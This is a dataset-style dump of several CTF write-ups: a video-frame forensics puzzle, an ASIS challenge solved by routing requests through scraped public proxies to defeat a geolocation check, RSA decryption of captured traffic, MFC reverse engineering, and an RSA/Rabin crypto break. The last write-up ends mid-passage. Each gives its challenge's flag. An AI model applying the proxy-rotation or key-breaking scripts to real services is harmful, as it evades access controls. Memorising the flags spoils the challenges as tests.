text_chunk
stringlengths
151
703k
## Challenge Download the file and we get a video file with balls bouncing around. Video on youtube [here](https://www.youtube.com/watch?v=h-E8FpNbVeA). ## Solution After analysing the video we noticed that certain frames contain a different image. So to analyse this better we extract all the frames of the video. There are many ways to do this but in this instance we used `ffmpeg`: ```ffmpeg -i ~/path_to_file/for100.mp4 ./frames/for100-%06d.png``` Sorting the extracted frames by size made it easy to identify 6 images which contain what look like ASCII art. ![](1.png) Using GIMP we play around with each line until we can make readable ASCII art. ![](balls.png) The image says `sha1<b0und__ball>` so create the sha and submit it. **WhiteHat{ddbae30b37b4e46bf54f91766fa02b42c4c0927d}** ## Solved bydestiny & blanky
## FlagHunter 75 (re, 75p, 53 solves) ### PL[ENG](#eng-version) Wchodzimy pod podany w zadnaniu link i widzimy: ![](map.png) Możemy kliknąć na kraj na mapie w wyniku czemu uzyskujemy jedną z dwóch odpowiedzi. Jeśli klinęliśmy w kraj w którym jesteśmy (z którego mamy IP): ![](code.png) Jeśli klinięmy w inny kraj: ![](error.png) Postanawiamy więc spróbować zebrać wszystkie możliwe kody, bo domyślamy się, że są potrzebne do uzyskania flagi. Robimy to za pomocą prostego skryptu: ```pythonfrom Queue import Queueimport codecsimport osimport threadingimport urllibimport urllib2import reimport subprocess results = {}url = "http://flaghunt.asis-ctf.ir/a.php" def test_proxy(proxy): try: proxy = proxy.strip() proxy_host = proxy[:proxy.find(":")] ping_response = os.system("ping -n 1 " + proxy_host + " > NUL") if ping_response == 0: whois = subprocess.check_output("whois " + proxy_host, stderr=subprocess.STDOUT) pattern = re.compile("country:\s*(.*)\n") country_code = pattern.findall(whois.lower())[0].upper() if country_code not in results: params = {'code': country_code} encoded_params = urllib.urlencode(params) urllib2.install_opener( urllib2.build_opener( urllib2.ProxyHandler({'http': proxy}) ) ) f = urllib2.urlopen(url, encoded_params) response = f.read() if "long distance calls" not in response: results[country_code] = response print(proxy + " " + country_code + " " + response) except: pass # probably some problem with whois response def worker(): while True: proxy = q.get() test_proxy(proxy) q.task_done() if q.unfinished_tasks % 100 == 0: print("left to process " + str(q.unfinished_tasks)) with codecs.open("proxy.txt") as file: q = Queue() for i in range(30): thread = threading.Thread(target=worker) thread.daemon = True thread.start() for proxy in file.readlines(): q.put(proxy) q.join() print(results)``` - kod uruchamia się w 30 wątkach- każdy pobiera z listy serwerów proxy (skomponowanej z google w kilka minut) jeden adres- pinguje go żeby upewnić się, że działa- pobiera z whois informacje o kraju dla tego proxy- jeśli nie mamy jeszcze na liście kodu dla tego kraju to wysyłamy zapytanie symulujące klikniecie w ten kraj na mapie, poprzez wybrane proxy- odebrany kod zapisujemy Okazuje się, że unikalnych kodów jest tylko kilka. Wszystkie unikalne kody to: `f55101, 353c45, fc, c99801, bf853b, 926c51` Jak nie trudno zauważyć mamy tutaj dokładnie 32 znaki z zakresu [0-9a-f], czyli rozłożony na kawałki hash md5. To sugerowałoby, że można z nich skleić flagę. Ale nie mieliśmy pomysłu na to, w jakiej kolejności to zrobić. Jeden z naszych kolegów postanowił zdać sie na intuicje i po prostu wysłał losowo sklejoną flagę. Niemniej późniejsza analiza wykazała, że tylko jedna ze 120 możliwości była poprawna (możliwa do wyliczenia poprzez analizę kodu JS który na stronie walidował flagę). Nasz kolega powinien kupić los na loterii. `ASIS{926c51bf853b353c45f55101c99801fc}` ### ENG version We go to the designated webpage to find: ![](map.png) We can click on a country on the map and we can get one of two answers: If we clicked on a country where we are (where out IP is from): ![](code.png) If we click any other country: ![](error.png) So we start off by trying to collect all the codes, since we suspect that we will need those for the flag. We do this with a simple script: ```pythonfrom Queue import Queueimport codecsimport osimport threadingimport urllibimport urllib2import reimport subprocess results = {}url = "http://flaghunt.asis-ctf.ir/a.php" def test_proxy(proxy): try: proxy = proxy.strip() proxy_host = proxy[:proxy.find(":")] ping_response = os.system("ping -n 1 " + proxy_host + " > NUL") if ping_response == 0: whois = subprocess.check_output("whois " + proxy_host, stderr=subprocess.STDOUT) pattern = re.compile("country:\s*(.*)\n") country_code = pattern.findall(whois.lower())[0].upper() if country_code not in results: params = {'code': country_code} encoded_params = urllib.urlencode(params) urllib2.install_opener( urllib2.build_opener( urllib2.ProxyHandler({'http': proxy}) ) ) f = urllib2.urlopen(url, encoded_params) response = f.read() if "long distance calls" not in response: results[country_code] = response print(proxy + " " + country_code + " " + response) except: pass # probably some problem with whois response def worker(): while True: proxy = q.get() test_proxy(proxy) q.task_done() if q.unfinished_tasks % 100 == 0: print("left to process " + str(q.unfinished_tasks)) with codecs.open("proxy.txt") as file: q = Queue() for i in range(30): thread = threading.Thread(target=worker) thread.daemon = True thread.start() for proxy in file.readlines(): q.put(proxy) q.join() print(results)``` - the code is running in 30 threads- each one takes an address from proxy servers list (compiled from google in a couple of minutes)- pings the proxy to make sure it's online- collects country code from whois info for the proxy- if we don't have the code for the country we send a request simulating clicking on this country on the map, through the selected proxy- we save the response code It turns out that there are only a few unique codes. All of them are: `f55101, 353c45, fc, c99801, bf853b, 926c51` As can be easily noticed we have exactly 32 characters from [0-9a-f] range, so a split md5 hash value. This suggest that maybe we could assemble a flag from this. But we had no idea what should be the order. One of our friends, lead by intuition, simply tried to send a random permutation as a flag. Interestingly we later realised that in fact only one of potential 120 flags was correct (the right one could be found by analysing JS code on flag validation site). Our friend should start playing some lottery. `ASIS{926c51bf853b353c45f55101c99801fc}`
# Creative Cheating ## Problem Mr. Miller suspects that some of his students are cheating in an automated computer test. He [captured some traffic](dump.pcapng) between crypto nerds Alice and Bob. It looks mostly like garbage but maybe you can figure something out. He knows that Alice's RSA key is (n, e) = (0x53a121a11e36d7a84dde3f5d73cf, 0x10001) (192.168.0.13) and Bob's is (n, e) = (0x99122e61dc7bede74711185598c7, 0x10001) (192.168.0.37) ## Solution Credit: [@emedvedev](https://github.com/emedvedev) We're given a PCAP dump, so let's examine it with Wireshark: ![](exchange.png?raw=true) Alice (`192.168.0.13`) sends Bob (`192.168.0.37`) TCP packets with Base64-encoded data. Let's follow the stream, export all the packets and decode them one by one: ![](stream.png?raw=true) ```import base64 packets = []with open('stream.txt') as lines: for line in lines: decoded = base64.b64decode(line) packets.append(decoded)``` Our decoded packets look like this (notice that `SEQ` is not unique, we'll need it later): ```SEQ = 13; DATA = 0x3b04b26a0adada2f67326bb0c5d6L; SIG = 0x2e5ab24f9dc21df406a87de0b3b4L;SEQ = 0; DATA = 0x7492f4ec9001202dcb569df468b4L; SIG = 0xc9107666b1cc040a4fc2e89e3e7L;SEQ = 5; DATA = 0x94d97e04f52c2d6f42f9aacbf0b5L; SIG = 0x1e3b6d4eaf11582e85ead4bf90a9L;SEQ = 4; DATA = 0x2c29150f1e311ef09bc9f06735acL; SIG = 0x1665fb2da761c4de89f27ac80cbL;SEQ = 18; DATA = 0x181901c059de3b0f2d4840ab3aebL; SIG = 0x1b8bdf9468f81ce33a0da2a8bfbeL;SEQ = 2; DATA = 0x8a03676745df01e16745145dd212L; SIG = 0x1378c25048c19853b6817eb9363aL;SEQ = 20; DATA = 0x674880905956979ce49af33433L; SIG = 0x198901d5373ea225cc5c0db66987L;SEQ = 0; DATA = 0x633282273f9cf7e5a44fcbe1787bL; SIG = 0x2b15275412244442d9ee60fc91aeL;[...]``` We'll assume that `SEQ` is the sequence order, `DATA` is the content and `SIG` is the signature. The RSA keys we're given are very short, let's query [FactorDB](http://factordb.com) and get `p` and `q` for both Alice and Bob: - Alice's `p` and `q` are `38456719616722997` and `44106885765559411`.- Bob's `p` and `q` are `49662237675630289` and `62515288803124247`. Now, to calculate RSA parameters you would normally use [RSATool](https://github.com/ius/rsatool), but since we're going to need some extra internal logic, let's create a custom RSA class. PyCrypto's `RSA.construct` is going to help us here: ```import gmpyfrom Crypto.PublicKey import RSA class RSAPerson(object): def __init__(self, e, p, q): self.n = p * q self.e = e self.p = p self.q = q self.d = long(gmpy.invert(e, (p-1)*(q-1))) self.key = RSA.construct((long(self.n), long(self.e), self.d)) def sign(self, message): return self.key.sign(message, '') def verify(self, message, signature): return self.key.publickey().verify(message, [signature]) def encrypt(self, message): return self.key.publickey().encrypt(message) def decrypt(self, message): return self.key.decrypt(message) alice = RSAPerson( 0x10001, 38456719616722997, 44106885765559411)bob = RSAPerson( 0x10001, 49662237675630289, 62515288803124247)``` Let's try decrypting the messages now. Since we have Alice sending packets to Bob, we'll have to decode the data with Bob's private key. We'll modify our code to: 1. Order the data entries by `SEQ`.2. Parse the entries into `SEQ`, `DATA` and `SIG` before storing.3. Decrypt `DATA` with Bob's key. ```packets = []with open('stream.txt') as lines: for line in lines: decoded = base64.b64decode(line) match = regex.match(decoded).groups() seq = int(match[0]) signature = int(match[2], 16) data = int(match[1], 16) data = bob.decrypt(data) data = chr(data) packets.append(( seq, data, signature ))``` Let's take a look at the output now: ```(0, '\x0b', 411405985302309658304687940458766L)(0, '&', 873819575920644857617395222352302L)(0, '(', 254879289019714299901060498187239L)(0, 'H', 130444345139656587207775038064682L)(0, 'f', 525203869657262769956125397333553L)(0, 'f', 1150325363693092780142319416277197L)(1, '-', 828076894813745622214013032578722L)(1, 'Y', 1485043620748068753347713371814689L)(1, 'j', 1298874456026095076333544275801497L)(1, 'l', 583679654300144088157196927029953L)(1, 'u', 1055492309091995510087523902347914L)(2, '<', 394933299120645953370114156475962L)(2, 'U', 355616958260007551295456729191093L)(2, 'a', 355616958260007551295456729191093L)[...]``` Clearly, we must only have one character at each position, so we'll have to discard everything else. That's where `SIG` comes into play: since Alice signs every message, we'll add verification and build the string from verified characters only. ```packets = []with open('stream.txt') as lines: for line in lines: decoded = base64.b64decode(line) match = regex.match(decoded).groups() seq = int(match[0]) signature = int(match[2], 16) data = int(match[1], 16) data = bob.decrypt(data) if alice.verify(data, signature): data = chr(data) packets.append(( seq, data, signature )) print ''.join([packet[1] for packet in sorted(packets)])``` Run the script, get the flag: ```flag{n0th1ng_t0_533_h3r3_m0v3_0n}```
# Hue## Reversing - 450> Flag = WhiteHat{sha1(upper(key))} ## OverviewThe target is an 64-bit exe file statically linked to the MFC library. It is an MFC dialog-based application that has the **WhiteHat icon** and an **about menu** appended to the dialog's system menu. The dialog has just 2 controls: an edit control and a push button. We tried several test input and hit the button but no message shown up. The button click just makes the application exit. We also tried to set breakpoints at **GetWindowTextW** and **GetDlgItemTextW** to find out when the application get text from the edit control but we still had no chance. The challenge here is to find the program logic with no clue of how the input text is processed. We may start by investigating the *mainCRTStartup*, then *AfxWinMain*, then the inherited *CWinApp::InitInstance* ... However, we will mention another approach in this writeup: the application GUI components are hints to discover the program structure. ## The dialog event handlersTo understand the program, we have to find the dialog event handlers. For MFC dialog-based applications, there are 2 main entry-points:* The inherited **CDialog::OnInitDialog**.* The **GetThisMessageMap** static method that returns the **AFX_MSGMAP** structure (you can read source code of *BEGIN_MESSAGE_MAP*, *END_MESSAGE_MAP* and *DECLARE_MESSAGE_MAP* macros for more information). Here's the **AFX_MSGMAP** structure definition: ```Cstruct AFX_MSGMAP_ENTRY{ UINT nMessage; // windows message UINT nCode; // control code or WM_NOTIFY code UINT nID; // control ID (or 0 for windows messages) UINT nLastID; // used for entries specifying a range of control id's UINT_PTR nSig; // signature type (action) or pointer to message # AFX_PMSG pfn; // routine to call (or special value)}; struct AFX_MSGMAP{ const AFX_MSGMAP* (PASCAL* pfnGetBaseMap)(); const AFX_MSGMAP_ENTRY* lpEntries;}; ``` ### Finding the inherited CDialog::OnInitDialogOur approach is based on the **WhiteHat icon** of this application. A dialog has no icon (more precisely, it has the default application icon) until we explicitly set new icon for it by sending **WM_SETICON** (*0x0080*) message. So we fire up WinDbg and set breakpoint at **SendMessageW**:```bp User32!SendMessageW ".if (rdx==0x80) {} .else {gc;}"```The breakpoint is hit twice, first with **ICON_BIG** (0x1) parameter, then **ICON_SMALL** (0x0). Here's the call stack when the breakpoint is hit:```USER32!SendMessageW0x24080x16525...USER32!SendMessageW0x24210x16525```Trace back to offset **0x2048** and offset **0x2421** we can easily find out that the inherited **CDialog::OnInitDialog** is at **0x2300**. We can use the same method with the **about menu**. This menu is appended to the dialog's system menu. To do so the dialog should call the *GetSystemMenu* function. By setting breakpoint at **User32!GetSystemMenu** we can also trace back to **CDialog::OnInitDialog** at **0x2300**. Actually all those setups are not neccessary to by placed at **OnInitDialog**, but they must be called after the dialog has been created (maybe in some event handlers). We would still use the same approach in that case. ### Finding the message mapWe try clicking the about menu ("*About WhiteHatContest...*") and an about dialog will show up. This means that the application should call one of the following functions:* DialogBoxParamW* DialogBoxIndrectParamW* CreateDialogParamW* CreateDialogIndrectParamW We set breakpoints on all those function calls then try clicking the about menu again. Breakpoint is hit at **CreateDialogIndirectParamW**```USER32!CreateDialogIndirectParamW0x173c70x1696d0x16b1b0x16d110x25430x224260x23f300x1df0a0x1ea30USER32!TranslateMessageEx+0x2a1```**0x2543** is the lowest address in the call stack. We might guess that other addresses are from the MFC static library. From **0x2543** we can easily navigate to **0x2480** where the **WM_SYSCOMMAND**'s handler starts. From there we just "Jump to xref" to locate the message map structure of the dialog at **0x211290**: ```asm.rdata:0140211288 dq offset Message_Map.rdata:0140211290 Message_Map dd WM_SYSCOMMAND.rdata:0140211294 dd 0.rdata:0140211298 dd 0.rdata:014021129C dd 0.rdata:01402112A0 dq 1Fh.rdata:01402112A8 dq offset sub_140002480 ; OnSysCommand.rdata:01402112B0 dd WM_PAINT.rdata:01402112B4 dd 0.rdata:01402112B8 dd 0.rdata:01402112BC dd 0.rdata:01402112C0 dq 13h.rdata:01402112C8 dq offset sub_1400025A0 ; OnPaint.rdata:01402112D0 dd WM_QUERYDRAGICON.rdata:01402112D4 dd 0.rdata:01402112D8 dd 0.rdata:01402112DC dd 0.rdata:01402112E0 dq 29h.rdata:01402112E8 dq offset sub_1400026D0 ; OnQueryDragIcon.rdata:01402112F0 dd WM_COMMAND.rdata:01402112F4 dd 0.rdata:01402112F8 dd 3E9h ; ID of the OK button.rdata:01402112FC dd 3E9h ; ID of the OK button.rdata:0140211300 dq 3Ah.rdata:0140211308 dq offset sub_1400026E0 ; OnOkCommand.rdata:0140211310 dd 0 ; End of the structure, zero-filled.rdata:0140211314 dd 0.rdata:0140211318 dd 0.rdata:014021131C dd 0.rdata:0140211320 dd 0.rdata:0140211324 dq 0```By doing a quick investigation on all those message handlers we figure out that they just do the "default" (MFC generated) tasks. The OK button handler just sends the message **WM_NCDESTROY** to the dialog, no input text check here. So we just need to focus on the inherited **CDialog::OnInitDialog** at **0x2300**. ## The main logicBack to **CDialog::OnInitDialog** at **0x2300**, there are just one small suspicous code snippet: ```asm.text:01400023EE mov r9, [rdi+158h] ; lParam.text:01400023F5 mov edx, WM_SETICON ; Msg.text:01400023FA lea r8d, [rdx-7Fh] ; wParam.text:01400023FE mov rcx, [rdi+40h] ; hWnd.text:0140002402 call cs:SendMessageW.text:0140002408 mov r9, [rdi+158h] ; lParam.text:014000240F xor r8d, r8d ; wParam.text:0140002412 mov edx, WM_SETICON ; Msg.text:0140002417 mov rcx, [rdi+40h] ; hWnd.text:014000241B call cs:SendMessageW.text:0140002421 mov [rsp+68h+var_30], 0.text:014000242A lea rcx, off_140210DA8 ; Method table of WTF class.text:0140002431 mov [rsp+68h+wtf_obj], rcx.text:0140002436 lea rcx, LibFileName ; "User32.dll".text:014000243D call cs:__imp_LoadLibraryW.text:0140002443 mov [rsp+68h+var_20], rax.text:0140002448 mov [rsp+68h+var_28], 0.text:0140002450 lea rcx, [rsp+68h+wtf_obj].text:0140002455 call WTF_DoJob.text:014000245A nop```The application initializes an instance of an unknown class that we named **WTF**. This class has method table at **0x210DA8**. From there we can find all methods and analyze the data structure of the class. Here's the pseudo code of the **WTF** class: ```Cint WTF::DoJob() { WCHAR dirName[MAX_PATH]; WCHAR tmp[MAX_PATH]; m_Path = dirName; if (GetFolderName(dirName)) return 1; wcscpy_s(tmp, MAX_PATH, dirName); // Store the directory name for later use EncryptString(dirName); DoCheck(); if (m_OK) // Then displaying the flag using User32!MessageBoxW return 0;} int WTF::EncryptString(LPWSTR input) { if (wcslen(input) != 42) return 1; for (int i = 0; i < 42; i++) { int j = i % 9; if (j == 0) j = 1; switch (i % j) { case 1: input[i] ^= 0xCC00; break; case 4: input[i] -= 0x100; break; case 6: input[i] = ~input[i]; break; case 8: input[i] -= 0x3C01; break; default: input[i] ^= 0xC3CC; break; } } for (int i = 0; i < 42; i++) { WCHAR delta = 0; for (int j = 42; j > 0; j -= 2) delta += i % j + i % (j - 1); input[i] += delta; } return 0;} void WTF::DoCheck() { DoCheck_00_20(); DoCheck_01_19(); DoCheck_02_18(); DoCheck_03_17(); DoCheck_04_16(); DoCheck_05_15(); DoCheck_06_14(); DoCheck_07_13(); DoCheck_08_12(); DoCheck_09_11(); DoCheck_10();} void WTF::DoCheck_00_20() { DWORD *buf = (DWORD*)m_Path; m_OK = (buf[0] == 0xC41EC3B7 && buf[20] == 0xCDCFC54C);} void WTF::DoCheck_01_19() { DWORD *buf = (DWORD*)m_Path; m_OK = (buf[1] == 0xC472C448 && buf[19] == 0xC57CC58A);} void WTF::DoCheck_02_18() { DWORD *buf = (DWORD*)m_Path; m_OK = (buf[2] == 0xC4B7C494 && buf[18] == 0xC597C592);} void WTF::DoCheck_03_17() { DWORD *buf = (DWORD*)m_Path; m_OK = (buf[3] == 0xC4F6C465 && buf[17] == 0xC5CB01A2);} void WTF::DoCheck_04_16() { DWORD *buf = (DWORD*)m_Path; m_OK = (buf[4] == 0xC532C513 && buf[16] == 0xC5E0C5E2);} void WTF::DoCheck_05_15() { DWORD *buf = (DWORD*)m_Path; m_OK = (buf[5] == 0xCDADC4D5 && buf[15] == 0xC586C5F0);} void WTF::DoCheck_06_14() { DWORD *buf = (DWORD*)m_Path; m_OK = (buf[6] == 0xCDCEC576 && buf[14] == 0xCE46C5F9);} void WTF::DoCheck_07_13() { DWORD *buf = (DWORD*)m_Path; m_OK = (buf[7] == 0xC5AE00ED && buf[13] == 0xC60FC59E);} void WTF::DoCheck_08_12() { DWORD *buf = (DWORD*)m_Path; m_OK = (buf[8] == 0xCE15C5BC && buf[12] == 0x152C5F9);} void WTF::DoCheck_09_11() { DWORD *buf = (DWORD*)m_Path; m_OK = (buf[9] == 0xC57EC5D7 && buf[11] == 0xC613C594);} void WTF::DoCheck_10() { DWORD *buf = (DWORD*)m_Path; m_OK = (buf[10] == 0xC5FCC5F1);}``` The logic is quite simple, key is an Unicode string of 42 characters. It is encrypted using *xor*, *add* (*subtract*) and *not* operations. The encrypted buffer is then compared every 4 bytes with a pre-calculated buffer. This class also has a decrypt method to inverse the encrypt operation. ## Key generationHere are the key and flag generated by our [Python script](https://github.com/duc-le/ctf-writeups/blob/master/2015_WhiteHat_GrandPrix_Qual/RE450/gen.py): > Key: {94076F571DB19F9494E01C08BB1962F732089666} > Flag: WhiteHat{ef0d95c8e810ac272a1362236f02866bf51e72a0} A final note on flag submission: although the key is a MSVC Unicode string (16-bit each character), we should UTF-8 encode it before getting sha1 checksum or else we would receive "wrong flag" message from the scoreboard!
## Rsabin (crypro, 314p, 37 solves) > Classical things? > [rsabin-a51076632142e074947b08396bf35ab2.tgz](rsabin.tgz) ### PL[ENG](#eng-version) Z dołączonego do zadania pliku tgz wypakowujemy dwa kolejne - [rsabin.py](rsabin.py) (kod szyfrujący coś)oraz [cipher.txt](cipher.txt) (wynik wykonania go). Kod szyfrujący wygląda tak: ```pythonfrom Crypto.Util.number import * p = getPrime(157)q = getPrime(157)n = p * qe = 31415926535897932384 flag = open('flag').read().strip()assert len(flag) == 50 m = int(flag.encode('hex'), 16)c = pow(m, e, n)print 'n =', nprint 'e =', eprint 'c =', c``` A dane tak: ```n = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307e = 31415926535897932384c = 19103602508342401901122269279664114182748999577286972038123073823905007006697188423804611222902``` N jest na tyle małe, że można go sfaktoryzować (albo znaleźć w factordb): ```p = 123722643358410276082662590855480232574295213977q = n / p``` Na pierwszy rzut oka szyfrowanie wygląda na klasyczne RSA. Uwagę przykuwa jednak dość nietypowy wybór eksponenty szyfrującej `e`. Jej dalsza analiza pozwala stwierdzić, że całe szyfrowanie jest wykonane `niepoprawnie`, ponieważ eksponenta nie spełnia założenia `gcd(e, (p-1)(q-1)) == 1`. Brak tego założenia sprawia, że RSA nie może poprawnie zdekodować zaszyfrowanej wiadomości.Faktoryzacja `e` pozwala stwierdzić że ma ona `2^5` w swoim rozkładzie na czynniki i z tego powodu ma wspólne dzielniki z `(p-1)(q-1)`. Musimy się więc pozbyć tego czynnika z wykładnika. Kilka godzin czytania na temat RSA oraz arytmetyki modularnej pozwala nam dojść do wniosku, że możemy wykorzystać Algorytm Rabina (stąd też zapewne gra słów w tytule zadania) aby pozbyć się niechcianego czynnika z eksponenty. RSA koduje dane poprzez: `cipher_text = (plain_text^e)%n` Algorytm Rabina szyfruje jako: `cipher_text = (plain_text^2)%n` W naszym przypadku możemy przyjąć, że `e = e'*32` i uzyskujemy dzięki temu: `cipher_text = (plain_text^e)%n = (plain_text^(e'*32))%n` Teraz jeśli oznaczymy `x = plain_text^e'*16` to nasze równanie będzie miało postać `cipher_text = (x^2)%n` czyli dokładnie postać znaną z Algorytmu Rabina! Oznacza to, że dekodując nasz zaszyfrowany tekst Algorytmem Rabina możemy uzyskać potencjalne wartości `x`. Warto wspomnieć, że takich potencjalnych wartości będzie 4 bo algorytm jest niejednoznaczny. Możemy zaprezentowaną metodę stosować wielokrotnie, a każde zastosowaniede szyfrowania z Algorytmu Rabina spowoduje "usunięcie" jednego czynnika 2 z wykładnika. To oznacza, ze jednokrotne deszyfrowanie da nam możliwe wartości `plain_text^e'*16`, kolejne `plain_text^e'*8`, ..., a piąte `plain_text^e'` Widzimy więc, że po pięciu deszyfrowaniach uzyskamy wreszcie postać którą będziemy mogli odszyfrować za pomocą RSA, pamiętając przy tym, że nasza eksponenta uległa zmianie i wynosi teraz `31415926535897932384/32`. Wykonujemy więc: ```pythonn = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307Lp = 123722643358410276082662590855480232574295213977Lq = n / pe = 31415926535897932384Le_p = e / 32ct = 19103602508342401901122269279664114182748999577286972038123073823905007006697188423804611222902d = get_d(p, n, e_p) rabin = Rabin(p, q)partially_decoded_ct = [ct]for i in range(5): new_partially_decoded_ct = [] for ct_p in partially_decoded_ct: new_ct_p = rabin.decrypt(ct_p) new_partially_decoded_ct.extend(list(new_ct_p)) partially_decoded_ct = set(new_partially_decoded_ct) potential_plaintext = []for potential_rsa_ct in partially_decoded_ct: pt = pow(potential_rsa_ct, d, n) potential_plaintext.append(pt)print(potential_plaintext)``` Kompletny kod dla tego kroku jest dostępny [tutaj](rsa_rabin.py). Teoretycznie każde deszyfrowanie Rabina mogło dać nam 4 różne potencjalne plaintexty, w praktyce niektóre są identyczne więc ich liczba finalnie wyniosła 16. Tak więc otrzymujemy w końcu listę liczb które mogły potencjalnie być szyfrowaną wiadomością. Nie jest ona specjalnie długa: ```117819576043932228652314950522841163188764406822672062154095820957784328618743486608452518480454169292882246487226436372571580328445408188970955313275707356349635909107039805208587333631745117087334829588533505994481803456127849693717951428635276411158657803536165303634079717849579713871573946024796279189581177591269513969694950673020202114872377044854770083045515434824811804644179137385085030373517766266922659497131453179760658693811415956448839318150711146073972050319142491971579761247864814022225934830444072302956340436288874950031307801611516286098386036510161440724376291593564883862686801676635328205115153135133456301869734340562247474183082309005628531407715482423717693263787976379790064568800203420573643404440830910301390203966050312684262105542571787810437538609835530653548723206992223739694051403116033838374102819999784085411327713756126315607015319515734714863243722704827693396130789864791950805203149458209172478500429284115911341298411812087160213815036901464138556384825062490184204236899720129216027736787311657983978469407694445569920898900799902272945603927170613309316194677547448258087059321420812949498163348959121812010130038599394605938359954055553000134797367918590618949051774933054747515828098722231190034465374208737458756805962527153843988120540034566112919371150342949853216833366509655723900426863126340902412539725238623618178907449599918819458580414001380634345441706410302319257939601997542207538660484953960621708939560233229848538955376270959422236352629054710419030``` Więc co pozostaje? Tylko odczytać je jako tekst i uzyskać flagę? Jest mały problem - w źródle widzimy: `assert len(flag) == 50` A jednocześnie `len(long_to_bytes(n))` jest równe 40 - to oznacza, że nasza szyfrowana wiadomość o długości 50 bajtówjest przycinana przez modulo. Co z tym zrobić? Jedyne co się da to bruteforce - ale niestety, 10 bajtów to dużoza dużo na jakikolwiek bruteforce. Na szczęście - wiemy coś o wiadomości. Konkretnie, jak się zaczyna i kończy.Na pewno jest to flaga, więc pierwsze bajty to `hitcon{` a ostatni bajt to `}`. Rozpiszmy sobie, jak wygląda flaga, oraz kilka naszych pomocniczych zmiennych (o nich później): ```pythonflag = hitcon{ABCxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzx}const = hitcon{ }brute = ABCmsg = xyzxyzxyzxyzxyzxyzxyzxyzxyzxyzx``` Po co taki podział? Otóż znamy `flag % n`, ale niestety, jest to niejednoznaczne (bo `flag` ma 50 bajtów, a `n` 40).Ale gdybyśmy poznali samo "msg", to `msg % n` jest już jednoznaczne (bo jest krótsze niż `n`). A jak go poznać?Na pewno znamy `const` - możemy odjąć je od flagi. Możemy też brutować `brute` - to tylko trzy bajty, i sprawdzaćkażde możliwe `msg` po kolei. Piszemy kod łamiący/bruteforcujący flagę: ```pythondef crack_flag(ct, n): n_len = 40 flag_len = 50 const = int('hitcon{'.encode('hex'), 16) * (256**(flag_len - 7)) for a in range(32, 128): for b in range(32, 128): for c in range(32, 127): brute = (a * 256 * 256 + b * 256 + c) * (256**(flag_len - 10)) flag = (ct - const - brute) % n flag = (flag - ord('}')) * modinv(256, n) % n flagstr = long_to_bytes(flag) if all(32 <= ord(c) <= 128 for c in flagstr): print chr(a) + chr(b) + chr(c) + flagstr n = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307 for msg in possible_inputs: print 'testing', msg crack_flag(msg, n)``` Po uruchomieniu go, ostatecznie dostajemy flagę w swoje ręce: `Congratz~~! Let's eat an apple pi <3.14159` Pamiętamy żeby dopisać obciętą stałą część: `hitcon{Congratz~~! Let's eat an apple pi <3.14159}` Jesteśmy 314 punktów do przodu. ### ENG version From the task archive we extract two files: [rsabin.py](rsabin.py) (cipher code) and [cipher.txt](cipher.txt) (results of the cipher code). Cipher code is: ```pythonfrom Crypto.Util.number import * p = getPrime(157)q = getPrime(157)n = p * qe = 31415926535897932384 flag = open('flag').read().strip()assert len(flag) == 50 m = int(flag.encode('hex'), 16)c = pow(m, e, n)print 'n =', nprint 'e =', eprint 'c =', c``` And the result data: ```n = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307e = 31415926535897932384c = 19103602508342401901122269279664114182748999577286972038123073823905007006697188423804611222902``` N is small enough to factor (or check in factordb): ```p = 123722643358410276082662590855480232574295213977q = n / p``` At the first glance the cipher resembles classical RSA. What catches attention is an unusual choice of cipher exponent `e`. Exponent analysis leads us to conclusion that the whole cipher is `incorrect` as RSA since the exponent violates the assumption `gcd(e, (p-1)(q-1)) == 1`. Lack of this property means that RSA cannot correctly decrypt the message simply by applying the decryption exponent `d`. Factorization of `e` shows us that is has `2^5` as factor and therefore it has common divisors with `(p-1)(q-1)`. We need to get rid of this factor from exponent. Few hours reading about RSA and modular arythmetics leads us to conclusion that we can use Rabin Algorithm (this is probably the reason for word play in the task title) to remove the unwanted part of exponent. RSA encodes the data by: `cipher_text = (plain_text^e)%n` Rabin Algorithm does this by: `cipher_text = (plain_text^2)%n` If we introduce a new variable `e'` such that `e = e'*32` we get: `cipher_text = (plain_text^e)%n = (plain_text^(e'*32))%n` Now if we introduce a new variable `x` such that `x = plain_text^e'*16` then our equation will be `cipher_text = (x^2)%n` which is exactly the ciphertext formula from Rabin Algorithm! This means that we can use decrypt function from Rabin Algorithm on our ciphertext and get potential `x` values. It's worth noting that there will be 4 potential values since this algorithm is ambigious. We can use the presented method multiple times and each Rabin decryption run will "remove" a 2 factor from exponent. This means that single decryption will give us potential values of `plain_text^e'*16`, next one `plain_text^e'*8`, ..., and the fifth will give `plain_text^e'` We can see that after five consecutive decryptions we will finally get a ciphertext that can be decoded by RSA. We need to keep in mind here that the exponent for RSA is now changed because we removed the 32 so it is now: `31415926535897932384/32`. We execute the code: ```pythonn = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307Lp = 123722643358410276082662590855480232574295213977Lq = n / pe = 31415926535897932384Le_p = e / 32ct = 19103602508342401901122269279664114182748999577286972038123073823905007006697188423804611222902d = get_d(p, n, e_p) rabin = Rabin(p, q)partially_decoded_ct = [ct]for i in range(5): new_partially_decoded_ct = [] for ct_p in partially_decoded_ct: new_ct_p = rabin.decrypt(ct_p) new_partially_decoded_ct.extend(list(new_ct_p)) partially_decoded_ct = set(new_partially_decoded_ct) potential_plaintext = []for potential_rsa_ct in partially_decoded_ct: pt = pow(potential_rsa_ct, d, n) potential_plaintext.append(pt)print(potential_plaintext)``` Complete code for this step is available [here](rsa_rabin.py). Theoretically each Rabin decryption could give 4 different potential plaintexts, however in reality a lot of them were identical so finally there were only 16 to check. So we end up with a list of potential plaintext values. It's not very long: 